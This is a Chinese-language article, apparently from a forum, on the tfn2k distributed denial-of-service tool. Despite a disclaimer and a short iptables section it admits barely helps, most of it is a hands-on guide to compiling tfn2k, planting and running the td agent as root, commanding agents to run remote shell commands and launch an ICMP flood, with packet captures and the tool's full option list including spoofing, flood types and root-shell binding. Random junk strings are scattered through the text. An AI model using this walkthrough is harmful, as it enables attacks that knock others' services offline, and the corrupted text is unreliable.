分布式拒绝攻击(DDOS)软件tfn2k攻防

踏浪行歌

分布式拒绝攻击(DDOS)软件tfn2k攻防 9 ?5 U, @8 u6 W3 w3 g4 x! W 7 H+ T( L4 ?- \- o9 q首先，我写这篇文章的目的，并不是我想成为什么hacker之类，而且我不并不鼓励任何人利用它来做一些有损他人的事情，我只是想多一

些人关注网络安全，共同研究并防御DOS。因为我是深受其害，所以，这篇文章仅用于技术参考，供大家研究DDOS防御之用。如果你利用它来 . T5 P* N$ ]: ^/ u# z

做一些不合法的事情，那结果与我无关。 * \/ \* Z# l( G拒绝服务攻击（DOS，DenialOfService)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成 ; F+ G( I* A. X& d; G

的dos，可能性非常小，更多的是恶意的攻击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,DistributedDenialOf . q1 e9 P& S1 T; I2 L

Service),利用更多的代理集中攻击目标，其危害更大。 我们大家都知道tcp/ip协议现在已经成为整个internet框架协议，可以说，如果没有tcp/ip，至少internet不会像现在这样普及，甚至不 ) I5 I* ~+ s0 q7 ? a, g7 h1 Q

可能会有internet。但凡事皆有两面性，tcp/ip使我们大家受益，同时因为协议本身构造的问题，它也成为别人攻击我们的工具。我们以tcp三 , x+ I9 m5 l, W1 o* Y

握手建立连接的过程来说明。 . d$ g' c4 u; H * R: F" n5 R4 v9 A8 Y% t O( I一。tcpsynflood 1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器，此数据包内包含客户端端口及tcp序列号等基本信息。 2.服务器(server)接收到SYN包之后，将发送一个SYN-ACK包来确认。 3 y; I0 Q* v' r3 L, H3.客户端在收到服务器的SYN-ACK包之后，将回送ACK至服务器，服务器如接收到此包，则TCP连接建立完成，双方可以进行通讯（感觉像 6 i+ F( S0 B! H# t

，一拜天地...二拜高堂...送入洞房...哈哈）

问题就出在第3步，如果服务器收不到客户端的ACK包，将会等待下去，这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系 % W w8 j+ ]9 i/ V

统不同),如果SYN请求超过了服务器能容纳的限度，缓冲区队列满，那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝掉。这种

攻击往往事半罪倍，杀伤力超强。 / q5 A- w0 r* E8 P" ^; r% m - Y7 s' v0 }0 L& V1 x( u! Q: v当然，DOS攻击的方法多种多样，如:UDPflood,ICMP/Ping,ICMP/SMURF...,具体原理的介绍大家可以到<a

href=http://www.chinaitlab.com/www/special/ciwddos.asp>http://www.chinaitlab.com/www/special/ciwddos.asp</a>去看看，有很详细 ! W- A0 h; o2 z0 U* \- a5 `

的原理及常用攻击软件介绍。不过说到DOS攻击软件，最具代表的莫过于tfn2k(TribeFloodNetwork2000),其作者是德国大名鼎鼎的mixter(

其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k，哎~~，不知道又有多少人寝食难安了... J1 e5 C* L8 O7 x2 \' F' M

二.tfn2k攻击原理

1.tfn2k的攻击体系。

tfn2k应该算是DDOS攻击中的代表作，其所能实现的功能让人瞠目结舌，叹为观止...(对它的敬畏有如滔滔江水，延续不绝...)来看看它 $ e3 h5 \0 a4 ~8 R7 b

的架构。 主控端---运行tfn客户端，来遥控并指定攻击目标，更改攻击方法.(罪大恶极) : `& E, D! l K1 N/ Y% p! q$ p代理端---被植入并运行td进程的牺牲品，接受tfn的指挥，攻击的实施者.需要注意的是，一个攻击者，往往控制多台代理来完成攻击，而 , w, s, p. d9 H& T

且其系统多为unix,linux等.(可怜的牺牲品） 目标主机---被攻击的主机或网络，曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者，郁闷如我) ( X( M4 I2 y* _8 i% t9 p 2.tfn2k特性。 　◆主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、

ICMP/PING、混合攻击、TARGA3等。 ◆主控端与代理端的通讯采取单向，即主控端只向代理端发送命令，并且会采取随机的头信息，甚至虚拟的源地址信息,代理端不会

逆向向主控端发送任何信息. 3 T( S& @7 F: d5 H* z◆所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证. : t( E2 d4 G3 ^◆利用td进程，主控端可以远程执行shell命令. % f5 Z8 [4 M* U◆td进程的名称可以在编译时更改,更便于隐藏. ◆tfn可以编译运行于win32及linux系统的. ... 2 J! A v/ P3 H1 C+ L |至于伪造源IP地址等功能，更是基本功能，并且其与老版本的tfn相比，它的发包效率更高，我自已的测试，在短短不到5分钟，两台 " x! W8 _" t6 @/ _5 z2 L2 l

代理机，使我的redhatlinux9.0系统瘫痪.

三.tfn2k实战测试 9 u, V: X; b) l6 [1.测试环境: : ~$ }! ?( ?" B( G/ v, x软件：redhatlinux9.0 硬件平台： 0 j$ U* e* R; K9 i: l9 J$ J& fmaster: ( d: y! F3 `7 q5 MIP:192.168.0.6 * t/ U! w: D0 r O5 `PIV2.4/256*2/rtl8139 & \. b! C2 }5 H' G* [% J! ZAg1: IP:192.168.0.2 - A. u' ?4 H; S$ U: B+ vPIV2.4/256*/rtl8139 AG2:IP:192.168.0.3 4 Z2 D j0 p& _9 G6 X; m) ApIV2.6/512*2/3c905 AIM:192.168.0.5 " I7 s- [" X- jpIV2.66c/512*2/3c905 switch_linkdes1024R

1.下载tfn2k.tgz(因为此软件非比寻常，所以我并不提供下载地址，如果有兴趣，自已到网上找吧) / P8 }7 q- j% o. b6 A2.解压：tarzxvftfn2k.tgz 3.修改文件 * {3 `1 |1 s" `4 d. LA.src/Makefile如果你的系统是linux系统，不需要做任何修就可以，如果是win32系统，请将 #Linux/*BSD*/Others CC=gcc CFLAGS=-Wall-O3 ) |- p) ?7 j/ b1 w" LCLIBS= 这几行注释掉,并将 # w" f( l( @: e: G1 w7 }: T6 M3 |2 j1 K#Win32(cygwin) " U" A7 f U) t# {" l#CC=gcc #CFLAGS=-Wall-DWINDOZE-O2 #CLIBS= * `% K0 c2 R% L# P1 A f这几行的注释去掉.因为我的测试系统为redhatlinux9.0所以并未做任何修改. ; E: V; E) P! _# w- f7 q

B.src/config.h，默认的就可以用，如果感兴趣，可以照其注释信息进行调整。 / P1 g+ ]+ C/ z/ w8 @ X / S- ?- C: V$ XC.src/ip.h这里要做一些修改，否则编译会有错误，发生重复定义。 /*structin_addr { unsignedlongints_addr; };*/ 注意啊~~我可是将它放在"/**/"之间，也就是注释掉了 . S' a/ F" s$ gD.更改编译器： # i: E \1 e. C2 t5 k因为tfn2k支持的是egcs-1.1.2-30,而redhatlinux9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc，tfn2k是编译不过去的.需

要注意的是，更改之后，有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行. * l1 b; F' {7 ~' k7 ]. U+ {方法很简单的，找到一张redhatlinux6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/ ' g j8 b5 }3 u4 i) U( E5 icd/mnt/cdrom/Redhat/RPMS ; [8 j. L4 V, w6 m( w+ c5 ^cpegcs-1.1.2-30*cpp-1.1.2-30*~/ 安装cpprpm-Uvh--nodeps--oldpackagecpp-1.1.2-30.i386.rpm / k- w7 Z+ {; ]安装egcsrpm-Uvhegcs-1.1.2-30.i386.rpm(如果提示有误，用nodeps、oldpackages、ignoreos等参数忽略过去就是了） 4 i9 t* b% [5 @3 z. ^5 A 0 |, X2 H+ ^% C" Z2 F4.编译tfn2k cdtfn2k/src make 9 e: K) V/ U7 W+ ?. S' `; W首先会谈出一个声明，你必须接受，之后会提示输入8-32位密码,前边提到过，这是唯一的认证凭证，会被分发于td进程中，所以一定 + S) s4 g( r- L' ~# G9 L: S

要记牢噢~。 2 B/ }* q W; A7 b9 Q+ f+ ~编译通过后，会产生td及tfn，这就是大名鼎鼎的tfn2k啦~,td是守护进程，用来安装在代理中的，而tfn就是控制端. ( T5 T3 j6 s8 _, @* ~

5.安装td. 将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3)，因为我只不过测试，所以用的是合法的root来上传并执行td进程的 , m& t* H5 b N" X

，如果真要找到并安装一个代理，你可能得费点儿神，因为没有一个管理员会说“comeonbaby~~.我给你root,来安装td做代理吧” 0 k3 G5 e6 l$ M7 L) Q[root@test/]ftp192.168.0.2 Connectedto192.168.0.2. 530PleaseloginwithUSERandPASS. 530PleaseloginwithUSERandPASS. Name(192.168.0.2:root):wjpfjy 1 o1 N8 v- M. H0 H! Q331Pleasespecifythepassword. 3 R( s) w7 p: x% gPassword: 1 N4 |6 x/ H( j/ M" {230Loginsuccessful.Havefun. p. ~) U# b2 X8 o* h5 Y! {3 t; `RemotesystemtypeisUNIX. " r/ a" i7 a; O$ a1 Q6 sUsingbinarymodetotransferfiles. ' g1 M8 f% D. _ Q, `ftp>puttd(上传td) 8 o, I* M/ K" G, L! ~) ylocal:tdremote:td 227EnteringPassiveMode(192,168,0,3,198,225) x( d2 w$ E: }" b553Couldnotcreatefile. 4 Q6 g7 F1 G& vftp>by(退出ftp) ; |3 x! Q6 M3 V/ e% m221Goodbye. " S& y6 |. ^( W( r0 O. S0 E[root@test/]ssh192.168.0.2登陆到ag1以执行td,注意，我用的是root帐户，这样才有足够的权限来执行它. 5 u( y4 s. y6 g8 l( K, w: s! Wroot@192.168.0.2spassword: 1 t$ q# l0 z4 o( {! `Lastlogin:TueFeb2406:51:132004 [root@ag1/]find/-nametd-print找到刚上传过来的文件td. / Q7 `+ I6 j: F& J* ~5 F[root@ag1wjpfjy/]chmoda+xtd使之具有执行权限. [root@ag1wjpfjy/]./td运行td，这样你就拥有一个代理了，它会对你唯命是从的。 　　　 4 ^$ a& G' x2 w2 j( k　　用同样的方法在ag2(192.168.0.3)上安装并运行TFN2k进程td. 6.攻击开始(悲惨的回忆上演中...) " Y" p5 N* g9 W2 d' g/ z+ X回到master(192.168.0.6)，准备演练... * J) j$ h8 j9 W3 J) w4 k　　　[root@masterroot]#touchhost.txt建立代理记录文件(因为如果你足够无聊的话，有可能会建立很多的肉鸡－代理，不记下会忘

记的噢.) $ a+ C& J* }. T& t% X[root@masterroot]echo"192.168.0.2">host.txt将执行过td的ag1加入host.txt。 　　　[root@masterroot]echo"192.168.0.3">>host.txt添加ag2到host.txt. 　　　先来测试一下链接。 2 z O- U% X6 |1 g　　　[root@masterroot]./tfn-fhost.txt-c10-i"mkdirwjpfjy"与host.txt中的代理通讯，让其执行命令mkdirwjpfjy即建立一个 ' Y$ m' X' m% H

目录 ' K8 @7 n: g) v6 J' y) \　Protocol:random 3 r+ M+ ^7 S; }7 RSourceIP:random Clientinput:list 6 `/ j% s0 I, D6 O8 xCommand:executeremotecommand

　　　Passwordverification:　　　　这里，会被提示输入密码，也就是编译时输入的密码,如果错了，将无法与td进程通讯 5 t* [4 P0 ?6 {+ N! U5 a

　　　Sendingoutpackets:..

到ag1和ag2看看有没有建立目录名wjpfjy，一般情况下,会存在于td的同一目录,如果不确定，可以用find/-namewjpfjy-print来查找 % x( k R0 X7 ~; I, o8 ~　　 　　　[root@masterroot]./tfn-fhost.txt-c6-i192.168.0.5　开始ICMP/PING攻击aim...(可怜我的P4啊，不到5分钟,就跟386一样慢 , _7 z: V, @" l* i t0 t7 _/ H2 n& y

)，不过它在gameover前，还是很艰辛的记录下了攻击数据,也算是对得住的那NK大洋啦.这是tcpdump的抓包记录. # f3 R0 c9 [- ]: p7 h: U9 W, ]: c, O$ R[root@aimroot]#tcpdump-rpack.atta-c4-xX 08:03:36.52490723.43.171.0>192.168.0.5icmp:echorequest[ttl0] ) d" d7 X2 Z/ O* J' N0x00004500005c659d00000001d22e172bab00E..\e........+.. ( C N9 a( y3 |- p) E4 l, v0x0010c0a800020800f7ff0000000000000000................ 0x002000000000000000000000000000000000................ " U$ z" r9 ]/ H, l$ u! a0x003000000000000000000000000000000000................ - K- \3 B ~+ K( {0 O; q/ C0x004000000000000000000000000000000000................ 0x00500000.. 08:03:36.524933192.168.0.5>23.43.171.0:icmp:echoreply % h! z0 x( c2 _" U4 E0x00004500005ca5d50000400151f6c0a80002E..\....@.Q..... 0x0010172bab000000ffff0000000000000000.+.............. O" X. ?' ?; J# |( t! r0x002000000000000000000000000000000000................ ; W2 d5 W5 E8 T% S/ n* W0x003000000000000000000000000000000000................ 4 c0 N5 F- r* ]3 D2 m* @0x004000000000000000000000000000000000................ 5 ^: ?: _1 T- B0 F1 [7 R6 q8 P0 F0x00500000.. 08:03:36.52494436.235.130.0>192.168.0.5:icmp:echorequest[ttl0] - Y7 R2 _' Y! j& t; H5 e: L6 z0x00004500005c659d00000001ed6e24eb8200E..\e......n$... & B' X) ]' z$ h$ {. r% l5 Y0x0010c0a800020800f7ff0000000000000000................ % z- h. ^- ]7 c, W$ o0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ ! z8 U1 E- @" X; F4 [; s8 M# c" P0x00500000.. 08:03:36.524984192.168.0.5>36.235.130.0:icmp:echoreply 0x00004500005c551c00004001bdefc0a80002E..\U...@....... , ]8 p, O& E+ i7 _/ Y0x001024eb82000000ffff0000000000000000$............... 9 K7 d0 v# O5 { m Y0x002000000000000000000000000000000000................ 3 z8 S' B, S% q- ~' E% b0x003000000000000000000000000000000000................ : z+ {) O6 f3 R- O/ r0x004000000000000000000000000000000000................ - U5 |$ H4 ^% W$ }( Q- W　 # k* ~4 L7 P) H% p g( E　[root@masterroot]./tfn-fhost.txt-c0停止攻击

Protocol:random SourceIP:random ' H T) A9 ]! @5 M1 Q0 d: e5 yClientinput:list Command:stopflooding

Passwordverification: $ h% u" Q" v( N$ ]* l- i' K2 h

Sendingoutpackets:... ; j% |3 U) h" y7 L! I. R' O

当然还有别的攻击方法，你只要用-cX就可以更改攻击方法. $ M u8 m+ d3 k2 m; x$ W

[root@masterroot]./tfn 3 @3 Y( A3 i7 b6 u1 K1 T# eusage:./tfn<options> 7 e3 p* z' R+ ?9 o[-Pprotocol]Protocolforservercommunication.CanbeICMP,UDPorTCP. Usesarandomprotocolasdefault . y6 {6 d, r* F. y7 H[-Dn]Sendoutnbogusrequestsforeachrealonetodecoytargets [-Shost/ip]SpecifyyoursourceIP.Randomlyspoofedbydefault,youneed " y: D3 E6 k9 M, O# UtouseyourrealIPifyouarebehindspoof-filteringrouters B$ d* ~$ m0 W" m4 k" B+ Z0 G[-fhostlist]FilenamecontainingalistofhostswithTFNserverstocontact ' _% q- l4 |/ L6 o7 q3 X[-hhostname]TocontactonlyasinglehostrunningaTFNserver 9 M" Y6 Q) W9 T7 q; q/ l7 |[-itargetstring]Containsoptions/targetsseparatedby@,seebelow ! c% n0 @+ X) d' O7 }0 J8 Q[-pport]ATCPdestinationportcanbespecifiedforSYNfloods <-ccommandID>0-Haltallcurrentfloodsonserver(s)immediately 1-ChangeIPantispoof-level(evaderfc2267filtering) t5 q1 m) W+ k& \: ~4 Rusage:-i0(fullyspoofed)to-i3(/24hostbytesspoofed) 2-ChangePacketsize,usage:-i<packetsizeinbytes> 3-Bindrootshelltoaport,usage:-i<remoteport> 9 W( I4 ]$ Z8 z( e; e: m" `1 |7 M4-UDPflood,usage:-ivictim@victim2@victim3@... ' H P2 R9 J$ E( ~7 o5-TCP/SYNflood,usage:-ivictim@...[-pdestinationport] 6-ICMP/PINGflood,usage:-ivictim@... 7 ~# p: e& K1 \/ j" W3 ]0 ~" Z7-ICMP/SMURFflood,usage:-ivictim@broadcast@broadcast2@... # w9 r6 q y. w" ^6 H$ ]) A7 A4 K8-MIXflood(UDP/TCP/ICMPinterchanged),usage:-ivictim@... 9-TARGA3flood(IPstackpenetration),usage:-ivictim@... , l) T7 Z9 _. N9 N8 E10-Blindlyexecuteremoteshellcommand,usage-icommand : j- i8 [0 N2 n- P# `* _ \7 w

7 l) v+ u7 r1 y( @四.防守办法 就如同网上所有介绍DDOS的文章一样，DDOS防不胜防，我试着用防火墙过滤掉所有icmp包，来保护我的主机，但所实现的，只是我的主机晚 3 n4 `- [3 I( B$ T' o0 a2 G" g

点儿崩溃而已.哎～，别指望我来防DDOS,要能防，我也不用不睡觉啊 ' w; D! i1 O1 y- w% Y- Q　　还是那句老话，我们能做的，就是尽量让我们的主机不成为别人攻击的代理，并对intranet内出行的包进行严格限制，尽量不去危害别人 " _7 c+ _" N& ^% h! v. C/ q

，只要大家都这样做，我们的网络环境才可以安全一些，至少，我可以安心睡几天觉. * Q( u, a2 _ n3 A7 @7 `8 @附上我防火墙的一部分.主要是针对ICMP/PING的，不过用处不太大 1 D" O- h: p- y2 V0 N

) `8 P' s# c2 t' i' `1 ?2 }

/sbin/iptables-PINPUTDROP ( o( P5 q2 v- I G/sbin/iptables-AINPUT-ilo-pall-jACCEPT /sbin/iptables-AINPUT-ieth1-picmp-jACCEPT /sbin/iptables-AINPUT-picmp--icmp-type8-jDROP ' u, H9 g9 K' B# Z/ ?/sbin/iptables-AINPUT-s127.0.0.2-ilo-jACCEPT ' f# A8 X0 D! _; R; U6 f* p7 x/sbin/iptables-AINPUT-s127.0.0.2-ieth0-jDROP /sbin/iptables-AINPUT-s$LAN_NET/24-ieth0-jDROP : \6 S0 G0 b7 Z, U3 u" `! @' p. y3 Z/sbin/iptables-AINPUT-s172.16.0.0/12-ieth0-jDROP ( @5 ]% C8 B- {/sbin/iptables-AINPUT-s10.0.0.0/8-ieth0-jDROP /sbin/iptables-AINPUT-ieth0-mlimit--limit1/sec--limit-burst5-jACCEPT/sbin/iptables-AINPUT-ieth0-pudp-m 2 X% ^' C2 P8 t( v5 N( t( ^

state--stateNEW-jREJECT ) c9 t* `# a' G6 a% q: \/sbin/iptables-AINPUT-ptcp--dport22-jACCEPT /sbin/iptables-AINPUT-ptcp--dport80-jACCEPT : j# _6 Q2 s. C. {& ]: M) {/sbin/iptables-AINPUT-ptcp-ieth1--dport53-jACCEPT /sbin/iptables-AINPUT-pudp-ieth1--dport53-jACCEPT 0 m% T: l" n; G$ [/sbin/iptables-AINPUT-ptcp-ieth0-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT /sbin/iptables-AINPUT-pudp-ieth0-mstate--stateESTABLISHED,RELATED-mudp--dport1024:-jACCEPT /sbin/iptables-AINPUT-picmp--icmp-typeecho-request-jLOG--log-level2 /sbin/iptables-AINPUT-ieth0-picmp--icmp-typeecho-request-jDROP A+ I: g9 }# I* q0 `5 h/sbin/iptables-AINPUT-ptcp-mmultiport--destination-port135,137,138,139-jLOG /sbin/iptables-AINPUT-pudp-mmultiport--destination-port135,137,138,139 -jLOG /sbin/iptables-AINPUT-ieth0-ptcp--dport2000-jACCEPT /sbin/iptables-AINPUT-ieth0-ptcp--dport2001-jACCEPT 9 s5 i% ?$ C8 k8 _/sbin/iptables-AINPUT-ptcp-ieth1-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT ; b; Z4 z% V1 T+ m2 m5 y

　以上只是我个人的一些摸索经验，不足或错误之处，还望指证。如果您可以防止DDOS，也请告诉我 % ?* |1 l8 k0 Q$ a( r- L因为本文内容的特殊性，转载请通知我，谢谢合作QQ:928395 / H+ r6 F( e% ~! F9 y

[em09]